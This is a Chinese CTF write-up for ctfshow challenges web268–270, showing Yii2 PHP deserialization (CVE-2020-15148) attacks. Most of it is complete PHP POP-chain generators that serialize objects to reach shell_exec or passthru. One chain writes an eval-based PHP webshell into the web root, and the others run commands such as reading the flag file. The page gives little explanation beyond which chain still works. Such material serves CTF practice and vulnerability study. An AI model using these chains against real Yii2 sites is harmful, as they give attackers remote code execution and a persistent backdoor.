web268 Yii框架 passthru 命令执行

image.png同样的
但是用上道题的payload 已经不行了
phpinfo已经不行了
换payload

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-03 21:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}
?>

image.png
image.png
使用 passthru 可以回显执行命令

web269

image.png
只有使用上一个payload

另外的poc

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'id';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace phpDocumentor\Reflection\DocBlock\Tags{
 
    use Faker\Generator;
 
    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270 新链子

上一条链子已经没有用了
image.png

<?php
 
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{
 
    use yii\web\DbSession;
 
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{
 
    use yii\rest\IndexAction;
 
    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}
 
namespace{
 
    use yii\db\BatchQueryResult;
 
    echo base64_encode(serialize(new BatchQueryResult()));
}
?>

image.png

Yii框架链子 参考:::

(CVE 2020 15148)Yii2框架反序列化漏洞 - Wiki
Yii2反序列化RCE 新POP链 - 先知社区
https://www.cnblogs.com/thresh/p/13743081.html
ctfshow—web入门—php反序列化_ctfshow php反序列化-CSDN博客

  • 14
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值